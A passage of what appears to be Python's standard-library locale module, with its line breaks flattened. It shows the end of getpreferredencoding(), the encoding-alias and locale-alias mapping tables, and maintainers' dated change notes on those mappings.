mbstowcs() and wcstombs(). def getpreferredencoding(do_setlocale = True): return 'UTF-8' else: # Fall back to parsing environment variables :-( def getpreferredencoding(do_setlocale = True): """Return the charset that the user is likely using, by looking at environment variables.""" if sys.flags.utf8_mode: return 'UTF-8' res = getdefaultlocale()[1] if res is None: # LANG not set, default conservatively to ASCII res = 'ascii' return res else: def getpreferredencoding(do_setlocale = True): """Return the charset that the user is likely using, according to the system configuration.""" if sys.flags.utf8_mode: return 'UTF-8' import _bootlocale if do_setlocale: oldloc = setlocale(LC_CTYPE) try: setlocale(LC_CTYPE, "") except Error: pass result = _bootlocale.getpreferredencoding(False) if do_setlocale: setlocale(LC_CTYPE, oldloc) return result ### Database # # The following data was extracted from the locale.alias file which # comes with X11 and then hand edited removing the explicit encoding # definitions and adding some more aliases. The file is usually # available as /usr/lib/X11/locale/locale.alias. # # # The local_encoding_alias table maps lowercase encoding alias names # to C locale encoding names (case-sensitive). Note that normalize() # first looks up the encoding in the encodings.aliases dictionary and # then applies this mapping to find the correct C lib name for the # encoding. # locale_encoding_alias = { # Mappings for non-standard encoding names used in locale names '437': 'C', 'c': 'C', 'en': 'ISO8859-1', 'jis': 'JIS7', 'jis7': 'JIS7', 'ajec': 'eucJP', 'koi8c': 'KOI8-C', 'microsoftcp1251': 'CP1251', 'microsoftcp1255': 'CP1255', 'microsoftcp1256': 'CP1256', '88591': 'ISO8859-1', '88592': 'ISO8859-2', '88595': 'ISO8859-5', '885915': 'ISO8859-15', # Mappings from Python codec names to C lib encoding names 'ascii': 'ISO8859-1', 'latin_1': 'ISO8859-1', 'iso8859_1': 'ISO8859-1', 'iso8859_10': 'ISO8859-10', 'iso8859_11': 'ISO8859-11', 'iso8859_13': 'ISO8859-13', 'iso8859_14': 'ISO8859-14', 'iso8859_15': 'ISO8859-15', 'iso8859_16': 'ISO8859-16', 'iso8859_2': 'ISO8859-2', 'iso8859_3': 'ISO8859-3', 'iso8859_4': 'ISO8859-4', 'iso8859_5': 'ISO8859-5', 'iso8859_6': 'ISO8859-6', 'iso8859_7': 'ISO8859-7', 'iso8859_8': 'ISO8859-8', 'iso8859_9': 'ISO8859-9', 'iso2022_jp': 'JIS7', 'shift_jis': 'SJIS', 'tactis': 'TACTIS', 'euc_jp': 'eucJP', 'euc_kr': 'eucKR', 'utf_8': 'UTF-8', 'koi8_r': 'KOI8-R', 'koi8_t': 'KOI8-T', 'koi8_u': 'KOI8-U', 'kz1048': 'RK1048', 'cp1251': 'CP1251', 'cp1255': 'CP1255', 'cp1256': 'CP1256', # XXX This list is still incomplete. If you know more # mappings, please file a bug report. Thanks. } for k, v in sorted(locale_encoding_alias.items()): k = k.replace('_', '') locale_encoding_alias.setdefault(k, v) # # The locale_alias table maps lowercase alias names to C locale names # (case-sensitive). Encodings are always separated from the locale # name using a dot ('.'); they should only be given in case the # language name is needed to interpret the given encoding alias # correctly (CJK codes often have this need). # # Note that the normalize() function which uses this tables # removes '_' and '-' characters from the encoding part of the # locale name before doing the lookup. This saves a lot of # space in the table. # # MAL 2004-12-10: # Updated alias mapping to most recent locale.alias file # from X.org distribution using makelocalealias.py. # # These are the differences compared to the old mapping (Python 2.4 # and older): # # updated 'bg' -> 'bg_BG.ISO8859-5' to 'bg_BG.CP1251' # updated 'bg_bg' -> 'bg_BG.ISO8859-5' to 'bg_BG.CP1251' # updated 'bulgarian' -> 'bg_BG.ISO8859-5' to 'bg_BG.CP1251' # updated 'cz' -> 'cz_CZ.ISO8859-2' to 'cs_CZ.ISO8859-2' # updated 'cz_cz' -> 'cz_CZ.ISO8859-2' to 'cs_CZ.ISO8859-2' # updated 'czech' -> 'cs_CS.ISO8859-2' to 'cs_CZ.ISO8859-2' # updated 'dutch' -> 'nl_BE.ISO8859-1' to 'nl_NL.ISO8859-1' # updated 'et' -> 'et_EE.ISO8859-4' to 'et_EE.ISO8859-15' # updated 'et_ee' -> 'et_EE.ISO8859-4' to 'et_EE.ISO8859-15' # updated 'fi' -> 'fi_FI.ISO8859-1' to 'fi_FI.ISO8859-15' # updated 'fi_fi' -> 'fi_FI.ISO8859-1' to 'fi_FI.ISO8859-15' # updated 'iw' -> 'iw_IL.ISO8859-8' to 'he_IL.ISO8859-8' # updated 'iw_il' -> 'iw_IL.ISO8859-8' to 'he_IL.ISO8859-8' # updated 'japanese' -> 'ja_JP.SJIS' to 'ja_JP.eucJP' # updated 'lt' -> 'lt_LT.ISO8859-4' to 'lt_LT.ISO8859-13' # updated 'lv' -> 'lv_LV.ISO8859-4' to 'lv_LV.ISO8859-13' # updated 'sl' -> 'sl_CS.ISO8859-2' to 'sl_SI.ISO8859-2' # updated 'slovene' -> 'sl_CS.ISO8859-2' to 'sl_SI.ISO8859-2' # updated 'th_th' -> 'th_TH.TACTIS' to 'th_TH.ISO8859-11' # updated 'zh_cn' -> 'zh_CN.eucCN' to 'zh_CN.gb2312' # updated 'zh_cn.big5' -> 'zh_TW.eucTW' to 'zh_TW.big5' # updated 'zh_tw' -> 'zh_TW.eucTW' to 'zh_TW.big5' # # MAL 2008-05-30: # Updated alias mapping to most recent locale.alias file # from X.org distribution using makelocalealias.py. # # These are the differences compared to the old mapping (Python 2.5 # and older): # # updated 'cs_cs.iso88592' -> 'cs_CZ.ISO8859-2' to 'cs_CS.ISO8859-2' # updated 'serbocroatian' -> 'sh_YU.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sh' -> 'sh_YU.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sh_hr.iso88592' -> 'sh_HR.ISO8859-2' to 'hr_HR.ISO8859-2' # updated 'sh_sp' -> 'sh_YU.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sh_yu' -> 'sh_YU.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sp' -> 'sp_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sp_yu' -> 'sp_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr@cyrillic' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr_sp' -> 'sr_SP.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sr_yu' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr_yu.cp1251@cyrillic' -> 'sr_YU.CP1251' to 'sr_CS.CP1251' # updated 'sr_yu.iso88592' -> 'sr_YU.ISO8859-2' to 'sr_CS.ISO8859-2' # updated 'sr_yu.iso88595' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr_yu.iso88595@cyrillic' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # updated 'sr_yu.microsoftcp1251@cyrillic' -> 'sr_YU.CP1251' to 'sr_CS.CP1251' # updated 'sr_yu.utf8@cyrillic' -> 'sr_YU.UTF-8' to 'sr_CS.UTF-8' # updated 'sr_yu@cyrillic' -> 'sr_YU.ISO8859-5' to 'sr_CS.ISO8859-5' # # AP 2010-04-12: # Updated alias mapping to most recent locale.alias file # from X.org distribution using makelocalealias.py. # # These are the differences compared to the old mapping (Python 2.6.5 # and older): # # updated 'ru' -> 'ru_RU.ISO8859-5' to 'ru_RU.UTF-8' # updated 'ru_ru' -> 'ru_RU.ISO8859-5' to 'ru_RU.UTF-8' # updated 'serbocroatian' -> 'sr_CS.ISO8859-2' to 'sr_RS.UTF-8@latin' # updated 'sh' -> 'sr_CS.ISO8859-2' to 'sr_RS.UTF-8@latin' # updated 'sh_yu' -> 'sr_CS.ISO8859-2' to 'sr_RS.UTF-8@latin' # updated 'sr' -> 'sr_CS.ISO8859-5' to 'sr_RS.UTF-8' # updated 'sr@cyrillic' -> 'sr_CS.ISO8859-5' to 'sr_RS.UTF-8' # updated 'sr@latn' -> 'sr_CS.ISO8859-2' to 'sr_RS.UTF-8@latin' # updated 'sr_cs.utf8@latn' -> 'sr_CS.UTF-8' to 'sr_RS.UTF-8@latin' # updated 'sr_cs@latn' -> 'sr_CS.ISO8859-2' to 'sr_RS.UTF-8@latin' # updated 'sr_yu' -> 'sr_CS.ISO8859-5' to 'sr_RS.UTF-8@latin' # updated 'sr_yu.utf8@cyrillic' -> 'sr_CS.UTF-8' to 'sr_RS.UTF-8' # updated 'sr_yu@cyrillic' -> 'sr_CS.ISO8859-5' to 'sr_RS.UTF-8' # # SS 2013-12-20: # Updated alias mapping to most recent locale.alias file # from X.org distribution using makelocalealias.py. # # These are the differences compared to the old mapping (Python 3.3.3 # and older): # # updated 'a3' -> 'a3_AZ.KOI8-C' to 'az_AZ.KOI8-C' # updated 'a3_az' -> 'a3_AZ.KOI8-C' to 'az_AZ.KOI8-C' # updated 'a3_az.koi8c' -> 'a3_AZ.KOI8-C' to 'az_AZ.KOI8-C' # updated 'cs_cs.iso88592' -> 'cs_CS.ISO8859-2' to 'cs_CZ.ISO8859-2' # updated 'hebrew' -> 'iw_IL.ISO8859-8' to 'he_IL.ISO8859-8' # updated 'hebrew.iso88598' -> 'iw_IL.ISO8859-8' to 'he_IL.ISO8859-8' # updated 'sd' -> 'sd_IN@devanagari.UTF-8' to 'sd_IN.UTF-8' # updated 'sr@latn' -> 'sr_RS.UTF-8@latin' to 'sr_CS.UTF-8@latin' # updated 'sr_cs' -> 'sr_RS.UTF-8' to 'sr_CS.UTF-8' # updated 'sr_cs.utf8@latn' -> 'sr_RS.UTF-8@latin' to 'sr_CS.UTF-8@latin' # updated 'sr_cs@latn' -> 'sr_RS.UTF-8@latin' to 'sr_CS.UTF-8@latin' # # SS 2014-10-01: # Updated alias mapping with glibc 2.19 supported locales. # # SS 2018-05-05: # Updated alias mapping with glibc 2.27 supported locales. # # These are the differences compared to the old mapping (Python 3.6.5 # and older): # # updated 'ca_es@valencia' -> 'ca_ES.ISO8859-15@valencia' to 'ca_ES.UTF-8@valencia' # updated 'kk_kz' -> 'kk_KZ.RK1048' to 'kk_KZ.ptcp154' # updated 'russian' -> 'ru_RU.ISO8859-5' to 'ru_RU.KOI8-R' locale_alias = { 'a3': 'az_AZ.KOI8-C', 'a3_az': 'az_AZ.KOI8-C', 'a3_az.koic': 'az_AZ.KOI8-C', 'aa_dj': 'aa_DJ.ISO8859-1', 'aa_er': 'aa_ER.UTF-8', 'aa_et': 'aa_ET.UTF-8', 'af': 'af_ZA.ISO8859-1', 'af_za': 'af_ZA.ISO8859-1', 'agr_pe': 'agr_PE.UTF-8', 'ak_gh': 'ak_GH.UTF-8', 'am': 'am_ET.UTF-8', 'am_et': 'am_ET.UTF-8', 'american': 'en_US.ISO8859-1', 'an_es': 'an_ES.ISO8859-15', 'anp_in': 'anp_IN.UTF-8', 'ar': 'ar_AA.ISO8859-6', 'ar_aa': 'ar_AA.ISO8859-6', 'ar_ae': 'ar_AE.ISO8859-6', 'ar_bh': 'ar_BH.ISO8859-6', 'ar_dz': 'ar_DZ.ISO8859-6', 'ar_eg': 'ar_EG.ISO8859-6', 'ar_in': 'ar_IN.UTF-8', 'ar_iq': 'ar_IQ.ISO8859-6', 'ar_jo': 'ar_JO.ISO8859-6', 'ar_kw': 'ar_KW.ISO8859-6', 'ar_lb': 'ar_LB.ISO8859-6', 'ar_ly': 'ar_LY.ISO8859-6', 'ar_ma': 'ar_MA.ISO8859-6', 'ar_om': 'ar_OM.ISO8859-6', 'ar_qa': 'ar_QA.ISO8859-6', 'ar_sa': 'ar_SA.ISO8859-6', 'ar_sd': 'ar_SD.ISO8859-6', 'ar_ss': 'ar_SS.UTF-8', 'ar_sy': 'ar_SY.ISO8859-6', 'ar_tn': 'ar_TN.ISO8859-6', 'ar_ye': 'ar_YE.ISO8859-6', 'arabic': 'ar_AA.ISO8859-6', 'as': 'as_IN.UTF-8', 'as_in': 'as_IN.UTF-8', 'ast_es': 'ast_ES.ISO8859-15', 'ayc_pe': 'ayc_PE.UTF-8', 'az': 'az_AZ.ISO8859-9E', 'az_az': 'az_AZ.ISO8859-9E', 'az_az.iso88599e': 'az_AZ.ISO8859-9E', 'az_ir': 'az_IR.UTF-8', 'be': 'be_BY.CP1251', 'be@latin': 'be_BY.UTF-8@latin', 'be_bg.utf8': 'bg_BG.UTF-8', 'be_by': 'be_BY.CP1251', 'be_by@latin': 'be_BY.UTF-8@latin', 'bem_zm': 'bem_ZM.UTF-8', 'ber_dz': 'ber_DZ.UTF-8', 'ber_ma': 'ber_MA.UTF-8', 'bg': 'bg_BG.CP1251', 'bg_bg': 'bg_BG.CP1251', 'bhb_in.utf8': 'bhb_IN.UTF-8', 'bho_in': 'bho_IN.UTF-8', 'bho_np': 'bho_NP.UTF-8', 'bi_vu': 'bi_VU.UTF-8', 'bn_bd': 'bn_BD.UTF-8', 'bn_in': 'bn_IN.UTF-8', 'bo_cn': 'bo_CN.UTF-8', 'bo_in': 'bo_IN.UTF-8', 'bokmal': 'nb_NO.ISO8859-1', 'bokm\xe5l': 'nb_NO.ISO8859-1', 'br': 'br_FR.ISO8859-1', 'br_fr': 'br_FR.ISO8859-1', 'brx_in': 'brx_IN.UTF-8', 'bs': 'bs_BA.ISO8859-2', 'bs_ba': 'bs_BA.ISO8859-2', 'bulgarian': 'bg_BG.CP1251', 'byn_er': 'byn_ER.UTF-8', 'c': 'C', 'c-french': 'fr_CA.ISO8859-1', 'c.ascii': 'C', 'c.en': 'C', 'c.iso88591': 'en_US.ISO8859-1', 'c.utf8': 'en_US.UTF-8', 'c_c': 'C', 'c_c.c': 'C', 'ca': 'ca_ES.ISO8859-1', 'ca_ad': 'ca_AD.ISO8859-1', 'ca_es': 'ca_ES.ISO8859-1', 'ca_es@valencia': 'ca_ES.UTF-8@valencia', 'ca_fr': 'ca_FR.ISO8859-1', 'ca_it': 'ca_IT.ISO8859-1', 'catalan': 'ca_ES.ISO8859-1', 'ce_ru': 'ce_RU.UTF-8', 'cextend': 'en_US.ISO8859-1', 'chinese-s': 'zh_CN.eucCN', 'chinese-t': 'zh_TW.eucTW', 'chr_us': 'chr_US.UTF-8', 'ckb_iq': 'ckb_IQ.UTF-8', 'cmn_tw': 'cmn_TW.UTF-8', 'crh_ua': 'crh_UA.UTF-8', 'croatian': 'hr_HR.ISO8859-2', 'cs': 'cs_CZ.ISO8859-2', 'cs_cs': 'cs_CZ.ISO8859-2', 'cs_cz': 'cs_CZ.ISO8859-2', 'csb_pl': 'csb_PL.UTF-8', 'cv_ru': 'cv_RU.UTF-8', 'cy': 'cy_GB.ISO8859-1', 'cy_gb': 'cy_GB.ISO8859-1', 'cz': 'cs_CZ.ISO8859-2', 'cz_cz': 'cs_CZ.ISO8859-2', 'czech': 'cs_CZ.ISO8859-2', 'da': 'da_DK.ISO8859-1', 'da_dk': 'da_DK.ISO8859-1', 'danish': 'da_DK.ISO8859-1', 'dansk': 'da_DK.ISO8859-1', 'de': 'de_DE.ISO8859-1', 'de_at': 'de_AT.ISO8859-1', 'de_be': 'de_BE.ISO8859-1', 'de_ch': 'de_CH.ISO8859-1', 'de_de': 'de_DE.ISO8859-1', 'de_it': 'de_IT.ISO8859-1', 'de_li.utf8': 'de_LI.UTF-8', 'de_lu': 'de_LU.ISO8859-1', 'deutsch': 'de_DE.ISO8859-1', 'doi_in': 'doi_IN.UTF-8', 'dutch': 'nl_NL.ISO8859-1', 'dutch.iso88591': 'nl_BE.ISO8859-1', 'dv_mv': 'dv_MV.UTF-8', 'dz_bt': 'dz_BT.UTF-8', 'ee': 'ee_EE.ISO8859-4', 'ee_ee': 'ee_EE.ISO8859-4', 'eesti': 'et_EE.ISO8859-1', 'el': 'el_GR.ISO8859-7', 'el_cy': 'el_CY.ISO8859-7', 'el_gr': 'el_GR.ISO8859-7', 'el_gr@euro': 'el_GR.ISO8859-15', 'en': 'en_US.ISO8859-1', 'en_ag': 'en_AG.UTF-8', 'en_au': 'en_AU.ISO8859-1', 'en_be': 'en_BE.ISO8859-1', 'en_bw': 'en_BW.ISO8859-1', 'en_ca': 'en_CA.ISO8859-1', 'en_dk': 'en_DK.ISO8859-1', 'en_dl.utf8': 'en_DL.UTF-8', 'en_gb': 'en_GB.ISO8859-1', 'en_hk': 'en_HK.ISO8859-1', 'en_ie': 'en_IE.ISO8859-1', 'en_il': 'en_IL.UTF-8', 'en_in': 'en_IN.ISO8859-1', 'en_ng': 'en_NG.UTF-8', 'en_nz': 'en_NZ.ISO8859-1', 'en_ph': 'en_PH.ISO8859-1', 'en_sc.utf8': 'en_SC.UTF-8', 'en_sg': 'en_SG.ISO8859-1', 'en_uk': 'en_GB.ISO8859-1', 'en_us': 'en_US.ISO8859-1', 'en_us@euro@euro': 'en_US.ISO8859-15', 'en_za': 'en_ZA.ISO8859-1', 'en_zm': 'en_ZM.UTF-8', 'en_zw': 'en_ZW.ISO8859-1', 'en_zw.utf8': 'en_ZS.UTF-8', 'eng_gb': 'en_GB.ISO8859-1', 'english': 'en_EN.ISO8859-1', 'english.iso88591': 'en_US.ISO8859-1', 'english_uk': 'en_GB.ISO8859-1', 'english_united-states': 'en_US.ISO8859-1', 'english_united-states.437': 'C', 'english_us': 'en_US.ISO8859-1', 'eo': 'eo_XX.ISO8859-3', 'eo.utf8': 'eo.UTF-8', 'eo_eo': 'eo_EO.ISO8859-3', 'eo_us.utf8': 'eo_US.UTF-8', 'eo_xx': 'eo_XX.ISO8859-3', 'es': 'es_ES.ISO8859-1', 'es_ar': 'es_AR.ISO8859-1', 'es_bo': 'es_BO.ISO8859-1', 'es_cl': 'es_CL.ISO8859-1', 'es_co': 'es_CO.ISO8859-1', 'es_cr': 'es_CR.ISO8859-1', 'es_cu': 'es_CU.UTF-8', 'es_do': 'es_DO.ISO8859-1', 'es_ec': 'es_EC.ISO8859-1', 'es_es': 'es_ES.ISO8859-1', 'es_gt': 'es_GT.ISO8859-1', 'es_hn': 'es_HN.ISO8859-1', 'es_mx': 'es_MX.ISO8859-1', 'es_ni': 'es_NI.ISO8859-1', 'es_pa': 'es_PA.ISO8859-1', 'es_pe': 'es_PE.ISO8859-1', 'es_pr': 'es_PR.ISO8859-1', 'es_py': 'es_PY.ISO8859-1', 'es_sv': 'es_SV.ISO8859-1', 'es_us': 'es_US.ISO8859-1', 'es_uy': 'es_UY.ISO8859-1', 'es_ve': 'es_VE.ISO8859-1', 'estonian': 'et_EE.ISO8859-1', 'et': 'et_EE.ISO8859-15', 'et_ee': 'et_EE.ISO8859-15', 'eu': 'eu_ES.ISO8859-1', 'eu_es': 'eu_ES.ISO8859-1', 'eu_fr': 'eu_FR.ISO8859-1', 'fa': 'fa_IR.UTF-8', 'fa_ir': 'fa_IR.UTF-8', 'fa_ir.isiri3342': 'fa_IR.ISIRI-3342', 'ff_sn': 'ff_SN.UTF-8', 'fi': 'fi_FI.ISO8859-15', 'fi_fi': 'fi_FI.ISO8859-15', 'fil_ph': 'fil_PH.UTF-8', 'finnish': 'fi_FI.ISO8859-1', 'fo': 'fo_FO.ISO8859-1', 'fo_fo': 'fo_FO.ISO8859-1', 'fr': 'fr_FR.ISO8859-1', 'fr_be': 'fr_BE.ISO8859-1', 'fr_ca': 'fr_CA.ISO8859-1', 'fr_ch': 'fr_CH.ISO8859-1', 'fr_fr': 'fr_FR.ISO8859-1', 'fr_lu': 'fr_LU.ISO8859-1', 'fran\xe7ais': 'fr_FR.ISO8859-1', 'fre_fr': 'fr_FR.ISO8859-1', 'french': 'fr_FR.ISO8859-1', 'french.iso88591': 'fr_CH.ISO8859-1', 'french_france': 'fr_FR.ISO8859-1', 'fur_it': 'fur_IT.UTF-8', 'fy_de': 'fy_DE.UTF-8', 'fy_nl': 'fy_NL.UTF-8', 'ga': 'ga_IE.ISO8859-1', 'ga_ie': 'ga_IE.ISO8859-1', 'galego': 'gl_ES.ISO8859-1', 'galician': 'gl_ES.ISO8859-1', 'gd': 'gd_GB.ISO8859-1', 'gd_gb': 'gd_GB.ISO8859-1', 'ger_de': 'de_DE.ISO8859-1', 'german': 'de_DE.ISO8859-1', 'german.iso88591': 'de_CH.ISO8859-1', 'german_germany': 'de_DE.ISO8859-1', 'gez_er': 'gez_ER.UTF-8', 'gez_et': 'gez_ET.UTF-8', 'gl': 'gl_ES.ISO8859-1', 'gl_es': 'gl_ES.ISO8859-1', 'greek': 'el_GR.ISO8859-7', 'gu_in': 'gu_IN.UTF-8', 'gv': 'gv_GB.ISO8859-1', 'gv_gb': 'gv_GB.ISO8859-1', 'ha_ng': 'ha_NG.UTF-8', 'hak_tw': 'hak_TW.UTF-8', 'he': 'he_IL.ISO8859-8', 'he_il': 'he_IL.ISO8859-8', 'hebrew': 'he_IL.ISO8859-8', 'hi': 'hi_IN.ISCII-DEV', 'hi_in': 'hi_IN.ISCII-DEV', 'hi_in.isciidev': 'hi_IN.ISCII-DEV', 'hif_fj': 'hif_FJ.UTF-8', 'hne': 'hne_IN.UTF-8', 'hne_in': 'hne_IN.UTF-8', 'hr': 'hr_HR.ISO8859-2', 'hr_hr': 'hr_HR.ISO8859-2', 'hrvatski': 'hr_HR.ISO8859-2', 'hsb_de': 'hsb_DE.ISO8859-2', 'ht_ht': 'ht_HT.UTF-8', 'hu': 'hu_HU.ISO8859-2', 'hu_hu': 'hu_HU.ISO8859-2', 'hungarian': 'hu_HU.ISO8859-2', 'hy_am': 'hy_AM.UTF-8', 'hy_am.armscii8': 'hy_AM.ARMSCII_8', 'ia': 'ia.UTF-8', 'ia_fr': 'ia_FR.UTF-8', 'icelandic': 'is_IS.ISO8859-1', 'id': 'id_ID.ISO8859-1', 'id_id': 'id_ID.ISO8859-1', 'ig_ng': 'ig_NG.UTF-8', 'ik_ca': 'ik_CA.UTF-8', 'in': 'id_ID.ISO8859-1', 'in_id': 'id_ID.ISO8859-1', 'is': 'is_IS.ISO8859-1', 'is_is': 'is_IS.ISO8859-1', 'iso-8859-1': 'en_US.ISO8859-1', 'iso-8859-15': 'en_US.ISO8859-15', 'iso8859-1': 'en_US.ISO8859-1', 'iso8859-15': 'en_US.ISO8859-15', 'iso_8859_1': 'en_US.ISO8859-1', 'iso_8859_15': 'en_US.ISO8859-15', 'it': 'it_IT.ISO8859-1', 'it_ch': 'it_CH.ISO8859-1', 'it_it': 'it_IT.ISO8859-1', 'italian': 'it_IT.ISO8859-1', 'iu': 'iu_CA.NUNACOM-8', 'iu_ca': 'iu_CA.NUNACOM-8', 'iu_ca.nunacom8': 'iu_CA.NUNACOM-8', 'iw': 'he_IL.ISO8859-8', 'iw_il': 'he_IL.ISO8859-8', 'iw_il.utf8': 'iw_IL.UTF-8', 'ja': 'ja_JP.eucJP', 'ja_jp': 'ja_JP.eucJP', 'ja_jp.euc': 'ja_JP.eucJP', 'ja_jp.mscode': 'ja_JP.SJIS', 'ja_jp.pck': 'ja_JP.SJIS', 'japan': 'ja_JP.eucJP', 'japanese': 'ja_JP.eucJP', 'japanese-euc': 'ja_JP.eucJP', 'japanese.euc': 'ja_JP.eucJP', 'jp_jp': 'ja_JP.eucJP', 'ka': 'ka_GE.GEORGIAN-ACADEMY', 'ka_ge': 'ka_GE.GEORGIAN-ACADEMY', 'ka_ge.georgianacademy': 'ka_GE.GEORGIAN-ACADEMY', 'ka_ge.georgianps': 'ka_GE.GEORGIAN-PS', 'ka_ge.georgianrs': 'ka_GE.GEORGIAN-ACADEMY', 'kab_dz': 'kab_DZ.UTF-8', 'kk_kz': 'kk_KZ.ptcp154', 'kl': 'kl_GL.ISO8859-1', 'kl_gl': 'kl_GL.ISO8859-1', 'km_kh': 'km_KH.UTF-8', 'kn': 'kn_IN.UTF-8', 'kn_in': 'kn_IN.UTF-8', 'ko': 'ko_KR.eucKR', 'ko_kr': 'ko_KR.eucKR', 'ko_kr.euc': 'ko_KR.eucKR', 'kok_in': 'kok_IN.UTF-8', 'korean': 'ko_KR.eucKR', 'korean.euc': 'ko_KR.eucKR', 'ks': 'ks_IN.UTF-8', 'ks_in': 'ks_IN.UTF-8', 'ks_in@devanagari.utf8': 'ks_IN.UTF-8@devanagari', 'ku_tr': 'ku_TR.ISO8859-9', 'kw': 'kw_GB.ISO8859-1', 'kw_gb': 'kw_GB.ISO8859-1', 'ky': 'ky_KG.UTF-8', 'ky_kg': 'ky_KG.UTF-8', 'lb_lu': 'lb_LU.UTF-8', 'lg_ug': 'lg_UG.ISO8859-10', 'li_be': 'li_BE.UTF-8', 'li_nl': 'li_NL.UTF-8', 'lij_it': 'lij_IT.UTF-8', 'lithuanian': 'lt_LT.ISO8859-13', 'ln_cd': 'ln_CD.UTF-8', 'lo': 'lo_LA.MULELAO-1', 'lo_la': 'lo_LA.MULELAO-1', 'lo_la.cp1133': 'lo_LA.IBM-CP1133', 'lo_la.ibmcp1133': 'lo_LA.IBM-CP1133', 'lo_la.mulelao1': 'lo_LA.MULELAO-1', 'lt': 'lt_LT.ISO8859-13', 'lt_lt': 'lt_LT.ISO8859-13', 'lv': 'lv_LV.ISO8859-13', 'lv_lv': 'lv_LV.ISO8859-13', 'lzh_tw': 'lzh_TW.UTF-8', 'mag_in': 'mag_IN.UTF-8', 'mai': 'mai_IN.UTF-8', 'mai_in': 'mai_IN.UTF-8', 'mai_np': 'mai_NP.UTF-8', 'mfe_mu': 'mfe_MU.UTF-8', 'mg_mg': 'mg_MG.ISO8859-15', 'mhr_ru': 'mhr_RU.UTF-8', 'mi': 'mi_NZ.ISO8859-1', 'mi_nz': 'mi_NZ.ISO8859-1', 'miq_ni': 'miq_NI.UTF-8', 'mjw_in': 'mjw_IN.UTF-8', 'mk': 'mk_MK.ISO8859-5', 'mk_mk': 'mk_MK.ISO8859-5', 'ml': 'ml_IN.UTF-8', 'ml_in': 'ml_IN.UTF-8', 'mn_mn': 'mn_MN.UTF-8', 'mni_in': 'mni_IN.UTF-8', 'mr': 'mr_IN.UTF-8', 'mr_in': 'mr_IN.UTF-8', 'ms': 'ms_MY.ISO8859-1', 'ms_my': 'ms_MY.ISO8859-1', 'mt': 'mt_MT.ISO8859-3', 'mt_mt': 'mt_MT.ISO8859-3', 'my_mm': 'my_MM.UTF-8', 'nan_tw': 'nan_TW.UTF-8', 'nb': 'nb_NO.ISO8859-1', 'nb_no': 'nb_NO.ISO8859-1', 'nds_de': 'nds_DE.UTF-8', 'nds_nl': 'nds_NL.UTF-8', 'ne_np': 'ne_NP.UTF-8', 'nhn_mx': 'nhn_MX.UTF-8', 'niu_nu': 'niu_NU.UTF-8', 'niu_nz': 'niu_NZ.UTF-8', 'nl': 'nl_NL.ISO8859-1', 'nl_aw': 'nl_AW.UTF-8', 'nl_be': 'nl_BE.ISO8859-1', 'nl_nl': 'nl_NL.ISO8859-1', 'nn': 'nn_NO.ISO8859-1', 'nn_no': 'nn_NO.ISO8859-1', 'no': 'no_NO.ISO8859-1', 'no@nynorsk': 'ny_NO.ISO8859-1', 'no_no': 'no_NO.ISO8859-1', 'no_no.iso88591@bokmal': 'no_NO.ISO8859-1', 'no_no.iso88591@nynorsk': 'no_NO.ISO8859-1', 'norwegian': 'no_NO.ISO8859-1', 'nr': 'nr_ZA.ISO8859-1', 'nr_za': 'nr_ZA.ISO8859-1', 'nso': 'nso_ZA.ISO8859-15', 'nso_za': 'nso_ZA.ISO8859-15', 'ny': 'ny_NO.ISO8859-1', 'ny_no': 'ny_NO.ISO8859-1', 'nynorsk': 'nn_NO.ISO8859-1', 'oc': 'oc_FR.ISO8859-1', 'oc_fr': 'oc_FR.ISO8859-1', 'om_et': 'om_ET.UTF-8', 'om_ke': 'om_KE.ISO8859-1', 'or': 'or_IN.UTF-8', 'or_in': 'or_IN.UTF-8', 'os_ru': 'os_RU.UTF-8', 'pa': 'pa_IN.UTF-8', 'pa_in': 'pa_IN.UTF-8', 'pa_pk': 'pa_PK.UTF-8', 'pap_an': 'pap_AN.UTF-8', 'pap_aw': 'pap_AW.UTF-8', 'pap_cw': 'pap_CW.UTF-8', 'pd': 'pd_US.ISO8859-1', 'pd_de': 'pd_DE.ISO8859-1', 'pd_us': 'pd_US.ISO8859-1', 'ph': 'ph_PH.ISO8859-1', 'ph_ph': 'ph_PH.ISO8859-1', 'pl': 'pl_PL.ISO8859-2', 'pl_pl': 'pl_PL.ISO8859-2', 'polish': 'pl_PL.ISO8859-2', 'portuguese': 'pt_PT.ISO8859-1', 'portuguese_brazil': 'pt_BR.ISO8859-1', 'posix': 'C', 'posix-utf2': 'C', 'pp': 'pp_AN.ISO8859-1', 'pp_an': 'pp_AN.ISO8859-1', 'ps_af': 'ps_AF.UTF-8', 'pt': 'pt_PT.ISO8859-1', 'pt_br': 'pt_BR.ISO8859-1', 'pt_pt': 'pt_PT.ISO8859-1', 'quz_pe': 'quz_PE.UTF-8', 'raj_in': 'raj_IN.UTF-8', 'ro': 'ro_RO.ISO8859-2', 'ro_ro': 'ro_RO.ISO8859-2', 'romanian': 'ro_RO.ISO8859-2', 'ru': 'ru_RU.UTF-8', 'ru_ru': 'ru_RU.UTF-8', 'ru_ua': 'ru_UA.KOI8-U', 'rumanian': 'ro_RO.ISO8859-2', 'russian': 'ru_RU.KOI8-R', 'rw': 'rw_RW.ISO8859-1', 'rw_rw': 'rw_RW.ISO8859-1', 'sa_in': 'sa_IN.UTF-8', 'sat_in': 'sat_IN.UTF-8', 'sc_it': 'sc_IT.UTF-8', 'sd': 'sd_IN.UTF-8', 'sd_in': 'sd_IN.UTF-8', 'sd_in@devanagari.utf8': 'sd_IN.UTF-8@devanagari', 'sd_pk': 'sd_PK.UTF-8', 'se_no': 'se_NO.UTF-8', 'serbocroatian': 'sr_RS.UTF-8@latin', 'sgs_lt': 'sgs_LT.UTF-8', 'sh': 'sr_RS.UTF-8@latin', 'sh_ba.iso88592@bosnia': 'sr_CS.ISO8859-2', 'sh_hr': 'sh_HR.ISO8859-2', 'sh_hr.iso88592': 